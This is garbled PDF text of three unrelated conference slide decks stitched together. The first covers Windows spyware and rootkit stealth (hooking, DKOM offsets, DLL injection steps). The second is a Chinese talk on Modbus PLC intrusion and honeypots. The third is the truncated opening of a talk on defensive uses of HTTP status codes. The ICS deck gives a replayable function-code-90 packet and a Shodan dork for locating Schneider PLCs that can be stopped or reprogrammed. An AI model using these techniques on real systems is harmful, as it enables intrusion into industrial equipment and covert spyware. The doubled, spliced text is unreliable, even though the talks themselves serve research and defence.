Backdoor Portless Portless Spyware Spyware DLL DLL--Based Spyware Based Spyware Spyware + Rootkit Spyware + Rootkit 10 10 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Portless Portless Spyware Spyware -- RawSocket RawSocket Raw Raw--Socket Backdoor Socket Backdoor A raw socket is one that allows access to the A raw socket is one that allows access to the underlying transport protocol. underlying transport protocol. Raw socket use Raw socket use ““Device Device\\RawIp RawIp”” and normal and normal socket use socket use ““Device Device\\Tcp Tcp”” or or ““Device Device\\Udp Udp..”” Therefore, they have no any ports! Therefore, they have no any ports! Local Local Sniffer Sniffer : Use : Use WSAIoctl WSAIoctl to set SIO_RCVALL to set SIO_RCVALL Famous Backdoor Famous Backdoor Ackcmd Ackcmd HTTP HTTP TCP(Ack TCP(Ack) tunneling ) tunneling hkdoor hkdoor 6 11 11 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Portless Portless Spyware Spyware -- LSP LSP LSP Backdoor (SPI Backdoor) LSP Backdoor (SPI Backdoor) LSP = Layered Service Provider LSP = Layered Service Provider Registry Registry System System\\CurrentControlSet CurrentControlSet\\Services Services\\WinSock2 WinSock2\\Paramet Paramet ers ers\\Protocol_Catalog9 Protocol_Catalog9\\Catalog_Entries Catalog_Entries 12 12 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 DLL DLL--Based Spyware Based Spyware As our observation, DLL As our observation, DLL--based Spyware are based Spyware are popular among the Spyware Coder. popular among the Spyware Coder. 1. 1. It resides in processes, thus it can bypass many It resides in processes, thus it can bypass many scanning (including the personal firewall). scanning (including the personal firewall). 2. 2. Everyone watch the Process and EXE Everyone watch the Process and EXE--file, but file, but no one care about DLLs. no one care about DLLs. 3. 3. Up now on, there are no effective Anti Up now on, there are no effective Anti--Virus or Virus or Anti Anti--Hacking tools to against them !!! Hacking tools to against them !!! Install Component Install Component ActiveX, LSP ActiveX, LSP … … DLL Injection DLL Injection Replacement System DLL (Proxy DLL) Replacement System DLL (Proxy DLL) 7 13 13 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Rootkit Rootkit RootKits RootKits are a hacker tools that modify are a hacker tools that modify existing operating system software so that existing operating system software so that an attacker can gain access to and hide on a an attacker can gain access to and hide on a machine. machine. This This rootkit rootkit patches Windows API to hide patches Windows API to hide certain objects from being listed. certain objects from being listed. 1. 1. Processes Processes 2. 2. Handles Handles 3. 3. Modules Modules 4. 4. Files & Folders Files & Folders 5. 5. Registry Values Registry Values 6. 6. Services Services 7. 7. TCP/UDP Sockets TCP/UDP Sockets 14 14 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 4 Stealth Tricks 4 Stealth Tricks Hooking Hooking Non Non--Hooking Hooking 8 15 15 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--1 Stealth With Hooking 1 Stealth With Hooking The Hooking Techniques are the most important The Hooking Techniques are the most important stealth tricks , this tricks are also the popular stealth tricks , this tricks are also the popular among the Hackers. among the Hackers. What is Hooking? What is Hooking? Hooking = Execution Path Change Hooking = Execution Path Change Types of Hooking Types of Hooking Function Pointer Change Function Pointer Change Raw Raw--Code Change Code Change 16 16 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The API Calling Path The API Calling Path IAT IAT IAT Call API Call API Call API Application API Entry API Entry Kernel32.DLL Kernel32.DLL CreateFile(…) Call [00456189] …… …….... 00456193 00456193 BFFF9321 BFFF9321 00456189 00456189 Data Data Address Address BFFF9321 : API Entry NtCreateFile()/ ZwCreateFile() Ntdll.dll Int 2E/SYSENTER KiSystemService KiSystemService KiSystemService Ntoskrnl.exe NtCreateFile NtCreateFile KiSystemServiceTable reference reference 9 17 17 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Hooking Type Hooking Type Function Pointer Change Function Pointer Change IAT Modification IAT Modification EAT Modification EAT Modification SDT Modification SDT Modification Raw Raw--Code Change Code Change Calls to the target function are replaced with Calls to the target function are replaced with calls to the malicious code by modifying calls to the malicious code by modifying application binaries. application binaries. Insert JMP Insert JMP Insert CALL Insert CALL Breakpoint Trapping Breakpoint Trapping Insert INT3 Insert INT3 18 18 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Performance Issue Performance Issue Detours: Binary Interception of Win32 Functions Detours: Binary Interception of Win32 Functions Intercepted Function Interception Technique Empty Function CoCreate- Instance Direct 0.113µs 14.836µs Call Replacement 0.143µs 15.193µs DLL Redirection 0.143µs 15.193µs Detours Library 0.145µs 15.194µs Breakpoint Trap 229.564µs 265.851µs 10 19 19 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Well The Well--Known Ways for Hooking API Known Ways for Hooking API 1. 1. Replacing Files (DLLs) Replacing Files (DLLs) 2. 2. Hooking IAT Hooking IAT 3. 3. Patching API Entry Patching API Entry 4. 4. Hook Export Directory Hook Export Directory 5. 5. Hooking IDT 2Eh Entry Hooking IDT 2Eh Entry 6. 6. Hooking KiSystemService Hooking KiSystemService 7. 7. Hooking SDT Hooking SDT 8. 8. Hooking SST (KiServiceTable) Hooking SST (KiServiceTable) 9. 9. Hook NativeAPI Export_Directory Hook NativeAPI Export_Directory 10. 10. Patching NativeAPI Entry Patching NativeAPI Entry User Mode User Mode Kernel Mode Kernel Mode 20 20 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Flow Path After The Flow Path After ““Patching API Patching API”” API Entry API Entry IAT IAT IAT Call API Call API Call API Kernel32.DLL Application Call [00456189] …… …….... 00456193 00456193 BFFF9321 BFFF9321 00456189 00456189 Data Data Address Address BFFF9321 : API Entry Jmp my_stub My stub My stub My stub 11 21 21 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--11--1 Process Hiding 1 Process Hiding Intruders are interested in staying invisible, they Intruders are interested in staying invisible, they always use such functionality to cover their other always use such functionality to cover their other spyware. Therefore, almost every spyware. Therefore, almost every rootkit rootkit provides provides such stealth trick. such stealth trick. API API--Hooking Hooking ToolHelp API ToolHelp API PS API PS API Performance API Performance API WMI API WMI API Native API Native API ZwQuerySystemInformation ZwQuerySystemInformation DKOM DKOM DKOM:EPROCESS.ActiveProcessLinks DKOM:EPROCESS.ActiveProcessLinks 22 22 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--11--2 TCP/UDP Port Hiding 2 TCP/UDP Port Hiding For hiding the port, we have many methods For hiding the port, we have many methods to do that: to do that: 1. 1. By SNMP Functions (such as By SNMP Functions (such as netstat netstat)) 2. 2. By Query TCP Handles (such as By Query TCP Handles (such as FPort FPort, Arbiter) , Arbiter) There is an example, which will hide the There is an example, which will hide the certain certain ““Port Port”” by hooking SDT. It control a by hooking SDT. It control a Native API, Native API, ZwDeviceIOControlFile ZwDeviceIOControlFile.. 12 23 23 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Hook It~ Hook It~ –– Therefore, we could break in them ! Therefore, we could break in them ! –– Hook IpHelper APIs Hook IpHelper APIs –– GetTcpTable GetTcpTable –– AllocateAndGetTcpTableFromStack AllocateAndGetTcpTableFromStack –– AllocateAndGetUdpTableFromStack AllocateAndGetUdpTableFromStack –– AllocateAndGetTcpExTableFromStack (New for WinXP) AllocateAndGetTcpExTableFromStack (New for WinXP) –– AllocateAndGetUdpExTableFromStack (New for WinXP) AllocateAndGetUdpExTableFromStack (New for WinXP) Hook DeviceIOControl API Hook DeviceIOControl API –– IOCTL_TCP_QUERY_INFORMATION IOCTL_TCP_QUERY_INFORMATION –– IOCTL_TCP_QUERY_INFORMATION_EX IOCTL_TCP_QUERY_INFORMATION_EX (New for WinXP) (New for WinXP) 24 24 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--11--3e Registry Hiding 3e Registry Hiding Win32 API Win32 API RegEnumKeyA RegEnumKeyA/W /W RegEnumKeyExA RegEnumKeyExA/W /W RegEnumValueA RegEnumValueA/W /W RegQueryMultipleValuesA RegQueryMultipleValuesA/W /W Native API Native API ZwEnumerateKey ZwEnumerateKey ZwEnumerateValueKey ZwEnumerateValueKey 13 25 25 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--11--4 File/Directory Hiding 4 File/Directory Hiding Win32 API Win32 API FindFirstFileA FindFirstFileA/W, /W, FindNextFileA FindNextFileA/W /W Native API Native API ZwQueryDirectoryFile ZwQueryDirectoryFile 26 26 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--11--5 Service Hiding 5 Service Hiding AAdvapi32.dll dvapi32.dll EnumServicesStatusA EnumServicesStatusA 14 27 27 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 44--2 Stealth With No 2 Stealth With No--Hooking Hooking Recently, No Recently, No--Hooking tricks are more and Hooking tricks are more and more popular, because there are many more popular, because there are many mature ways to detect Hooking. mature ways to detect Hooking. The ultimate stealth is nothing to hide! The ultimate stealth is nothing to hide! DKOM DKOM Direct Kernel Object Manipulation Direct Kernel Object Manipulation Jamie Butler, http:// Jamie Butler, http://www.hbgary.com www.hbgary.com 28 28 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Fu Fu rootkit rootkit ... Attacker’s process ... Now it is hidden process All active processes in the system are kept on the single list. This list is implemented by pair of pointers in each EPROCESS block: •Win2K:EPROCESS.ActiveProcessLinks (offset +0xa0) •WinXP:EPROCESS.ActiveProcessLinks (offset +0x88) 15 29 29 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 IInteresting Stealth Techniques nteresting Stealth Techniques Zero Registry Spyware Zero Registry Spyware Stealth Module Trick Stealth Module Trick Code Injection Code Injection Shellcode Shellcode Injection Injection DLL Injection DLL Injection Playing PE Loader Playing PE Loader 30 30 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Zero Zero--Registry Spyware Registry Spyware There is a new popular trick to make There is a new popular trick to make Spyware become more stealth. Some DLL Spyware become more stealth. Some DLL-- based Spyware replace system service DLL, based Spyware replace system service DLL, therefore they don therefore they don’’t modify any registry. It is t modify any registry. It is difficult to discover them! difficult to discover them! Packetdoor Packetdoor Stop Auto Stop Auto--update service update service Replace Replace wuauserv.dll wuauserv.dll with with packetdoor packetdoor’’ss dll dll Start Auto Start Auto--update service update service BDR.UC.Backdoor BDR.UC.Backdoor 16 31 31 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Stealth Module Trick Stealth Module Trick As soon as it is loaded into a process, the As soon as it is loaded into a process, the Rootkit hides its DLL. Rootkit modify the Rootkit hides its DLL. Rootkit modify the PEB_LDR_DATA (PEB=FS:0x30) to unlink PEB_LDR_DATA (PEB=FS:0x30) to unlink InLoadOrderModuleList InLoadOrderModuleList, , InMemoryOrderModuleList InMemoryOrderModuleList, , InInitializationOrderModuleList InInitializationOrderModuleList The technique used below is very efficient against all The technique used below is very efficient against all programs that rely on the windows API for enumerating programs that rely on the windows API for enumerating modules. Due to the fact that modules. Due to the fact that EnumProcessModules/Module32First/Module32Next/... EnumProcessModules/Module32First/Module32Next/... depend on depend on NtQuerySystem NtQuerySystem Information Information Rootkit : Rootkit : vanquish vanquish--0.2.0 0.2.0 PEB PEB **_* _* FS:30 FS:30 Ntdll.dll Ntdll.dll kernel32 kernel32 Spyware Spyware 32 32 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Code Injection Code Injection DLL Injection (Win2K/XP) DLL Injection (Win2K/XP) 1. 1. Open the target process. Open the target process. 2. 2. Prepare the "Inject Prepare the "Inject--code" and "Inject code" and "Inject--data" in our local data" in our local process. process. 3. 3. Allocate memory in the remote process address space. Allocate memory in the remote process address space. 4. 4. Change the page permission of the allocated memory . Change the page permission of the allocated memory . 5. 5. Write a copy of our inject Write a copy of our inject--code and a inject code and a inject--data to the data to the remote process. remote process. 6. 6. Create a thread in the remote process to invoke our inject Create a thread in the remote process to invoke our inject-- code code.. 17 33 33 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 DLL Injection Flow DLL Injection Flow Trojan.dll Trojan.dll Trojan.dll Spyware Loader Spyware Loader OpenProcess() Target Process Target Process VirtualAllocEx() CreateRemoteThread() C:\Trojan.dll LoadLibrary LoadLibrary()() Trojan.dll Trojan.dll Trojan.dll 34 34 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Playing PE Loader Playing PE Loader There is a There is a variation of DLL variation of DLL--Injection. It could Injection. It could make the DLL become invisible. I show U: make the DLL become invisible. I show U: Spywar e Loader Spywar e Loader OpenProcess() Target Process Target Process VirtualAllocEx() CreateRemoteThread() C:\Trojan.dll LoadLibrary LoadLibrary()() Trojan.dll Trojan.dll Trojan.dll Shellcode Shellcode Trojan.dll Trojan.dll Trojan.dll Copy Image Copy Image FreeLibrary FreeLibrary Restore Image Restore Image 18 35 35 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 5. Spyware Analysis and Detection 5. Spyware Analysis and Detection Techniques Techniques Detect Hidden Processes Detect Hidden Processes Detect Hidden Files Detect Hidden Files Detect Hidden Registry Detect Hidden Registry 36 36 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Tools : Tools : Procexp Procexp 19 37 37 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Tools: Rootkit Revealer Tools: Rootkit Revealer http:// http://www.sysinternals.com/Utilities/Rootkit www.sysinternals.com/Utilities/Rootkit Revealer.html Revealer.html 38 38 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Tools : Tools : Blacklight Blacklight FF--Secure Secure 20 39 39 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Tools: Tools: IceSword IceSword 40 40 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Tools: Archon Tools: Archon 21 41 41 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Anti Anti--Rootkit Rootkit Tools Tools KAV KAV Rootkit Rootkit--Revealer Revealer Blacklight Blacklight IceSword IceSword Archon Archon VICE VICE How about How about … … Pc Pc--cillin,Norton,CA cillin,Norton,CA, Spy Sweeper , Spy Sweeper … … 42 42 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Demonstration Demonstration 1. 1. Backdoor Backdoor 1. 1. Keylogger Keylogger 2. 2. SPI Backdoor SPI Backdoor 2. 2. Rootkit + Backdoor Rootkit + Backdoor 1. 1. Hxdef Hxdef 1.0 + BirdSPY4 1.0 + BirdSPY4 2. 2. Pro Pro--Agent Agent 3. 3. Hidden Process (FU like) Hidden Process (FU like) 4. 4. AFX2005 AFX2005 3. 3. Stealth Module Backdoor Stealth Module Backdoor 1. 1. BdrUCB BdrUCB 2. 2. Keylogger Keylogger + Vanquish + Vanquish 3. 3. ByShell ByShell 4. 4. Is Is Adware Adware just a just a Adware Adware !? !? 1. 1. 中國人的好幫手 中國人的好幫手? ? –– 3721 3721 2. 2. Adware Adware--Example2 Example2 22 43 43 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Anti Anti--Rootkit Feature Matrix Rootkit Feature Matrix O O XX XX XX XX XX API Hooking API Hooking O O O O XX XX XX XX SystemCall SystemCall Hooking Hooking XX XX XX XX O O O O KProcCheck KProcCheck O O XX O O O O O O O O IceSword IceSword O O XX XX XX Stealth Module Stealth Module O O XX XX XX DLL Injection DLL Injection O O O O O O XX Hidden Files Hidden Files O O O O O O XX Hidden Registry Hidden Registry O O O O XX XX Hidden Process Hidden Process-- FU like FU like O O O O XX XX Hidden Process Hidden Process Archon Archon BlackLight BlackLight Rootkit Rootkit RRevealer evealer Procexp Procexp 44 44 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 6. Conclusion 6. Conclusion Trend of Spyware Trend of Spyware Spyware is Spyware is rootkitlized rootkitlized !!!! DLL DLL--based Spyware is difficult to detect. based Spyware is difficult to detect. No effective Anti No effective Anti--Spyware tools could fright Spyware tools could fright rootkit rootkit.. DKOM and Physical Memory Usage techniques DKOM and Physical Memory Usage techniques are more popular among Rootkit. are more popular among Rootkit. EXE In EXE In--Process Process--Execution Execution User Mode Rootkit become more popular. User Mode Rootkit become more popular. Kernel Mode Rootkit become more powerful. Kernel Mode Rootkit become more powerful. 23 45 45 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Last Words Last Words I'd like to emphasize that I am not I'd like to emphasize that I am not responsible for anyone using that sample responsible for anyone using that sample code with his/her homemade Trojan to leech code with his/her homemade Trojan to leech porn from his friend's PC. Seriously, this is porn from his friend's PC. Seriously, this is just a sample for educational purposes, it just a sample for educational purposes, it should not be used for any kind of illegal should not be used for any kind of illegal purpose. purpose. 46 46 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 7. Reference 7. Reference Thx Rootkit Guru :D Thx Rootkit Guru :D Greg Greg Hoglund Hoglund Jamie Butler Jamie Butler fuzen_op fuzen_op Joanna Joanna Rutkowska Rutkowska Chew Chew Keong Keong Books Books Windows95 System Programming Secrets , Windows95 System Programming Secrets , Matt Pietrek Matt Pietrek Systems Programming for Windows95 , Systems Programming for Windows95 , Walter Oney Walter Oney Programming Applications Programming Applications -- Fourth Edition , Fourth Edition , Jeffrey Richter Jeffrey Richter Windows Internals 4th, Windows Internals 4th, David A. Solomon & Mark E. David A. Solomon & Mark E. Russionovich Russionovich.. Undocumented NT , Undocumented NT , Prasad Dabak, Milind Borate & Sandeep Phadke Prasad Dabak, Milind Borate & Sandeep Phadke Undocumented Windows 2000 Secrets , Undocumented Windows 2000 Secrets , Sven B. Schreiber Sven B. Schreiber Windows NT/2000 Native API Reference , Windows NT/2000 Native API Reference , Gary Nebbett Gary Nebbett Articles & Codes Articles & Codes Win32API Spying Techniques , Win32API Spying Techniques , Yariv Kaplan Yariv Kaplan Tracing NT Kernel Tracing NT Kernel--Mode Calls , Mode Calls , Dmitri Leman Dmitri Leman Detours SDK package , Detours SDK package , Microsoft Research Microsoft Research ForceLibrary 1.4 , ForceLibrary 1.4 , yoda yoda APIHooks 5.5 , APIHooks 5.5 , EliCZ EliCZ
pdf
⿊黑客眼中的⼯工控4.0 ——⼯工控系统安全威胁与应对探索 by Kimon 关于我 • 中国科技⼤大学苏研院 • ADF安全研究团队 • 物联⺴⽹网安全、⼯工控安全 [email protected] 13758178689 ⺩王启蒙 Kimon 提纲 • ⼯工控背景 • ⼯工控系统 • ⼊入侵⽅方式 • 应对探索 ⼯工业4.0与两化融合 ⼯工控系统 • ICS ⼯工业控制系统 • SCADA 数据采集与监控系统 • DCS 分散式控制系统 SCADA系统 SCADA系统 ⼯工控组件 • PLC可编程逻辑控制器 • RTU远程控制单元 • HMI⼈人机交互界⾯面 • 现场设备 PLC • PLC实质是⼀一种⽤用于⼯工业 的计算机 • CPU、存储器、输⼊入输出 接⼝口电路、功能模块、通 信模块、电源 • 输⼊入采样阶段、⽤用户程序 执⾏行阶段、数据刷新阶段 • 梯形图LAD 顺序流程图SFC 指令表IL / ( 威胁趋势 ~2010 2010 2011 Duqu 2012 Flame 2013 “Dragonfly ~2014 ICS-CERT 威胁来源 协议安全 ⺴⽹网络隔离 安全意识 漏洞管理 ⼯工业⺴⽹网络协议 • Modbus • S3/S5/S7 • DNP3 • Profinet • Ethernet/IP • … Modbus协议 • 全球第⼀一个真正⽤用于⼯工业现场 的总线协议 • 施耐德电⼦子(Schneider Electric)发布于1979年 • 标准开放,免费使⽤用 • ⺫⽬目前作为⼯工业标准⼯工业⺴⽹网络传 输协议之⼀一 Modbus协议 • Master/Slave模式 • 8位地址⻓长度,每个Master可⽀支 持247个Slave • 简单清晰的协议内容 • ⽆无加密与⾝身份认证 master slave Initiate request Perform action Initiate response Receive response func code data req func code data resp Modbus Frame PDU ADU Modbus协议 Additional address Function code Data Error check Modbus TCP Frame IP Packet TCP Packet TransactionID 2 Byte ProtocolID 2 Byte Length 2 Byte Unit ID 1 Byte Function Code 1 Byte Data 256 or .. PDU ADU Modbus协议 Modbus协议 Function Name Function Code Read Coils Write Single Coil Write Multiple Coils Read Input Register Write Single Register Read/Write Multiple Register 0x01 0x05 0x15 0x04 0x06 0x23 Modbus协议 维基百科——Modbus所有功能码 http://en.wikipedia.org/wiki/Modbus Modbus协议 TransactionID ProtocolID Length UnitID FunctionCode Data Modbus协议 RS-232/RS-485 Network Modbus TCP ⼊入侵⽅方式 ⼯工控组件脆弱性 ⼯工业化信息化融合推进 安全意识薄弱 设备升级维护成本⾼高 更脆弱的系统 更多的攻击⾯面 模拟环境 协议分析 设备识别 攻击⼯工具/框架 ⼿手动攻击测试 探索发现⺫⽬目标 攻击⾯面 模拟环境 [ModbusPal] Slave节点仿真模拟 http://modbuspal.sourceforge.net/ ⺴⽹网络分析 [Wireshark] https://www.wireshark.org/ Modbus/S7/DNP3协议解析 本地模拟攻防 [mbtget] Perl脚本Modbus协议⼯工具 https://github.com/sourceperl/mbtget 本地模拟攻防 [Metasploit Framework] auxiliary/scanner/scada/modbus_findunitid auxiliary/scanner/scada/modbusclient auxiliary/scanner/scada/modbusdetected 探索发现⺫⽬目标 ⺴⽹网络空间 搜索引擎 ⿊黑暗“Google” PLC、RTU..⼯工控设备 ⽆无⼀一幸免 探索发现⺫⽬目标 [Nmap] modbus-discover.nse modbus-enum.nse 注意 《NIST SP800-82》 1.降低扫描速度—scan-delay=1 2.TCP替代UDP 3.避免使⽤用nmap指纹识别 -sC 4.不推荐nmap 5.不要尝试对运⾏行中的设备进⾏行测试 探索发现⺫⽬目标 [plcscan] TCP/502 TCP/102端⼝口PLC识别⼯工具 code.google.com/p/plcscan 探索发现⺫⽬目标 [ModTest] 针对Modbus分析协议、扫描、指纹识别、Fuzzing、甄别蜜罐 https://github.com/ameng929/ModTest 探索发现⺫⽬目标 [ModTest] Modbus分析协议 https://github.com/ameng929/ModTest 探索发现⺫⽬目标 [ModTest] Modbus Fuzzing https://github.com/ameng929/ModTest ⽅方式: 针对Function Code 针对Diagnostics Code 发现: 90/91/99功能码 识别⼯工控蜜罐的⽅方式 拒绝服务 探索发现⺫⽬目标 [ModTest] Modbus 指纹识别 https://github.com/ameng929/ModTest 识别更多的plc设备信息 更邪恶的⼊入侵⽅方式 … ⼊入侵⽅方式 [Unity Pro XL] 施耐德PLC编程软件 http://www.schneider-electric.com/ ⼊入侵⽅方式 [Unity Pro XL] 施耐德PLC编程软件 http://www.schneider-electric.com/ 发现: 可远程接⼊入设备 但远程传输项⺫⽬目失败 原因: Unity Pro XL版本多样 兼容性差 ⼊入侵⽅方式 分析Unity Pro XL软件协议、认证⽅方式 软件使⽤用Modbus功能码90进⾏行通信 协议内容⽆无加密! ⼊入侵⽅方式 分析Unity Pro XL软件协议、认证⽅方式 通过90功能码进⾏行⾝身份识别与握⼿手请求、消息同步 通过ModTest测试,90功能码协议⽆无认证,可进⾏行包重放 ⼊入侵⽅方式 分析Unity Pro XL软件协议、认证⽅方式 协议中发现读取PLC设备信息通信数据 0x00, 0x0f, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x5a, 0x00, 0x20, 0x00, 0x14, 0x00, 0x64, 0x00, 0x00, 0x00, 0xf6, 0x03 重放请求,获得PLC设备项⺫⽬目信息 针对应答数据选择针对的Unity Pro XL软件 V5.0 Unity Pro XL 5.0 ⼊入侵⽅方式 通过针对版本的Unity Pro XL软件获取到PLC权限 可查看实时数据表、修改上传PLC程序、停⽌止PLC执⾏行!!! ⼊入侵⽅方式 通过Shodan进⾏行设备探索与⼊入侵 针对施耐德PLC编程软件的Dork port:502 V5.0 .stu V5.0——编程软件版本号 .stu——施耐德PLC程序后缀 应对探索 [⼯工控蜜罐] 协议仿真scapy、pymodbus https://github.com/tecpal/PyModbus • 对读写PLC Coil、Register值的响应 • 对43功能码读取PLC设备信息的响应 • 对17功能码请求从节点信息的响应 • 对90功能码读取Modicon PLC信息的响应 应对探索 [⼯工控蜜罐] Web管理登陆界⾯面 应对探索 [⼯工控蜜罐] 其他选择组件 • FTP • SNMP • TELNET • 其他⼯工控协议 应对探索 [⼯工控蜜罐] conpot https://github.com/mushorg/conpot 应对探索 [⼯工控蜜罐] SCADA Honeynet http://www.digitalbond.com/tools/scada-honeynet/ 应对探索 [⼯工控蜜罐] Modhoney 在PyModbus与Z-one版本上进⾏行了改进与优化 https://github.com/ameng929/Modhoney 增加了对于TransactionID的识别与应答 增加了对于功能码90的识别与应答 配合conpot更容易被⺴⽹网络搜索引擎发现 应对探索 [⼯工控蜜罐] Modhoney 在PyModbus与Z-one版本上进⾏行了改进与优化 https://github.com/ameng929/Modhoney 增加了对于TransactionID的识别与应答 增加了对于功能码90的识别与应答 配合conpot更容易被⺴⽹网络搜索引擎发现 应对探索 [⼯工控蜜罐] 发现 198. 20. 70.114 Shodan 71. 6.216. 34 Rapid7 169. 54.233.119 Credit Suisse Group / CANA 185. 35. 62. 11 Switzerland Group 85. 25.185.112 BSB-Service GmbH Germany 62. 75.207.109 Intergenia AG Germany 178. 19.104.138 Livenet sp. z o.o. 141.212.122. xxx University of Michigan College of Engineering 蜜罐捕获数据主要为协议扫描 其中严重的威胁为对地址数据的改写 应对探索 Shodan对于蜜罐系统的甄别 应对探索 蜜罐甄别⽅方法 对于43(0x2B)功能码中的异常数据的应答 Honey Real 应对探索 蜜罐甄别⽅方法 对于01(0x01)功能码中的异常数据的应答 Real Honey 应对探索 • 发现⺴⽹网络空间扫⾯面引擎IP地址,拦截扫描 • 了解扫描引擎的指纹识别⽅方法,收集信息 • 掌握⿊黑客的进⼀一步攻击⾏行为 • 收集异常数据中可能的0-Day • 健壮蜜罐系统,使其更难被甄别,更好的伪装 ⼯工控蜜罐的必要性 应对探索 [Snort for ICS] 开源⼊入侵检测 https://www.snort.org http://www.digitalbond.com/tools/quickdraw/ 应对探索 [ModbusSec] 协议传输⾝身份认证 http://www.digitalbond.com/tools/basecamp/ {Ethernet | TCP | Modbus} {Ethernet | TCP | Tunnel | Modbus} {Ethernet | TCP | Modbus | Tunnel | Modbus} 应对探索 [安全模块解决⽅方案] • ⼯工业防⽕火墙 • ⺴⽹网络隔离设备 • VPN接⼊入 • 认证管理 • … 纵深防御 感谢聆听 ⼯工控安全联盟
pdf
Defense&by&Numb3r5& & Making'problems'for'script'k1dd13s' and'scanner'monkeys! @ChrisJohnRiley' “THE'WISEST'MAN,'IS'HE' WHO'KNOWS,'THAT'HE' KNOWS'NOTHING”' ' ' SOCRATES:'APOLOGY,'21D' This&talk&contains:! !- Numbers - Bad Jokes - Traces of peanuts - Did I mention numbers? !! TL!;DR! Goals!for!this!talk! Describe!the! defensive!uses!of! HTTP!status!codes! 1)  What& 2)  Why& 3)  How& 4)  Goals& 5)  Bringing&it&together& 6)  Review& #1& ]! [!WHAT ? HTTP!STATUS!CODES! Seems!like!such!a!! Small!detail! …!small!detail,! big!impact! HTTP!Status!Codes! !  Majority!part!of!RFC!2616!(HTTP/1.1)! !  5!main!classes!of!response! !  1XX!informaOonal' !  2XX!success! !  3XX!redirecOon! !  4XX!client'error! !  5XX!server'error! HTTP!Status!Codes! !  Proposed!RFC*!for!7XX!codes! !  Examples:! !  701!Meh' !  719!I'am'not'a'teapot! !  721!Known'unknowns! !  722!Unknown'unknowns! !  732!Fucking'Unicde' *!h]ps://github.com/joho/7XX_rfc! BASICS! AKA:!THE!BORING!THEORY!BIT! #1.1& 1XX!Informaeonal! !  Indicates!response!received! !  Processing!is!not!yet!completed! !  100!Conenue! !  101!Switching!Protocols! !  102!Processing!(WebDAV!RFC!2518)! 2XX!Success! !  Indicates!response!received! !  Processed!and!understood! !  200!OK! !  201!Created! !  202!Accepted! !  203!Non_Authoritaeve!Informaeon! !  204!No!Content! 2XX!Success!(cont.)! !  205!Reset!Content! !  206!Pareal!Content! !  207!Mule_Status!(WebDAV!RFC!4918)! Codes!not!supported!by!Apache! !  208!Already!Reported! !  226!IM!Used! !  250!Low!on!Storage!Space! 3XX!Redireceon! !  Aceon!required!to!complete!request! !  300!Muleple!Choices! !  301!Moved!Permanently! !  